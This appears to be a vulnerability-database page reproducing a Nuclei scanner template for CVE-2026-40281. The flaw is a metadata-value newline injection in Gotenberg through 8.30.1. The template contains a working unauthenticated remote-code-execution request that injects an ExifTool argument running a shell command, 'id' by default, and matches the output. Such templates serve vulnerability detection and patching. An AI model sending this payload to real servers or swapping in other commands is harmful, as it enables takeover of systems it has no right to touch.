Gotenberg <= 8.30.1 - Remote Code Execution
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
| CVE-2026-40281 | 6 May 202620:46 | – | attackerkb | |
| CVE-2026-40281 | 6 May 202621:50 | – | circl | |
| Gotenberg 参数注入漏洞 | 6 May 202600:00 | – | cnnvd | |
| CVE-2026-40281 | 6 May 202620:46 | – | cve | |
| CVE-2026-40281 Gotenberg vulnerable to argument injection via newlines in ExifTool metadata values | 6 May 202620:46 | – | cvelist | |
| Gotenberg has ExifTool stdin argument injection via metadata value newlines (bypass of key sanitization fix) | 30 Apr 202617:27 | – | github | |
| CVE-2026-40281 | 6 May 202621:16 | – | nvd | |
| GHSA-Q7R4-HC83-HF2Q Gotenberg has ExifTool stdin argument injection via metadata value newlines (bypass of key sanitization fix) | 30 Apr 202617:27 | – | osv | |
| GO-2026-5572 Gotenberg has ExifTool stdin argument injection via metadata value newlines (bypass of key sanitization fix) in github.com/gotenberg/gotenberg | 25 Jun 202622:34 | – | osv | |
| OPENSUSE-SU-2026:21483-1 Security update for govulncheck-vulndb | 30 Jul 202609:09 | – | osv |
10
id: CVE-2026-40281
info:
name: Gotenberg <= 8.30.1 - Remote Code Execution
author: aryu-ru
severity: critical
description: |
Gotenberg through 8.30.1 sanitizes only the keys of the JSON metadata submitted to the PDF metadata write endpoint, leaving the values unvalidated. A newline inside a metadata value is written straight to the ExifTool process standard input, where it terminates the current argument and starts a new one, letting an unauthenticated attacker inject arbitrary ExifTool arguments and execute operating system commands through an advanced formatting expression.
impact: |
Unauthenticated attackers can execute arbitrary operating system commands as the Gotenberg service account and read the command output from the returned PDF, potentially leading to full compromise of the container and of the internal network it can reach.
remediation: |
Update to version 8.31.0 or later, which validates metadata values in addition to metadata keys.
reference:
- https://github.com/gotenberg/gotenberg/security/advisories/GHSA-q7r4-hc83-hf2q
- https://github.com/gotenberg/gotenberg/commit/405f1069c026bb08f319fb5a44e5c67c33208318
- https://github.com/gotenberg/gotenberg/releases/tag/v8.31.0
- https://github.com/vulhub/vulhub/tree/master/gotenberg/CVE-2026-40281
- https://nvd.nist.gov/vuln/detail/CVE-2026-40281
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
cvss-score: 9.1
cve-id: CVE-2026-40281
epss-score: 0.00657
epss-percentile: 0.49472
cwe-id: CWE-88
metadata:
verified: true
max-request: 1
vendor: gotenberg
product: gotenberg
shodan-query: "Gotenberg"
fofa-query: "Gotenberg"
tags: cve,cve2026,gotenberg,exiftool,rce,unauth
variables:
cmd: "id"
http:
- raw:
- |
POST /forms/pdfengines/metadata/write HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}
------WebKitFormBoundary{{randstr}}
Content-Disposition: form-data; name="files"; filename="{{randstr}}.pdf"
Content-Type: application/pdf
%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj
2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 100] >>
endobj
xref
0 4
0000000000 65535 f
0000000010 00000 n
0000000062 00000 n
0000000122 00000 n
trailer
<< /Size 4 /Root 1 0 R >>
startxref
196
%%EOF
------WebKitFormBoundary{{randstr}}
Content-Disposition: form-data; name="metadata"
{"Title":"{{randstr}}\n-Title<${PDFVersion;$_=qx({{cmd}})}"}
------WebKitFormBoundary{{randstr}}--
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- 'uid=[0-9]+\([a-z0-9_-]+\) gid=[0-9]+\([a-z0-9_-]+\)'
- type: word
part: header
words:
- "application/pdf"
- type: status
status:
- 200
# digest: 4b0a00483046022100bcdf021e57161c0334632610180fe344846a78dedd7c537d1c11ce735a50ae70022100c60b9f6aabbc516214936670ccd45aecac7da8675b483ccd70b3db4230748960:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Sep 2026 13:54Current
6Medium risk
Vulners AI Score6
CVSS 3.19.1 - 10
EPSS0.02094
SSVC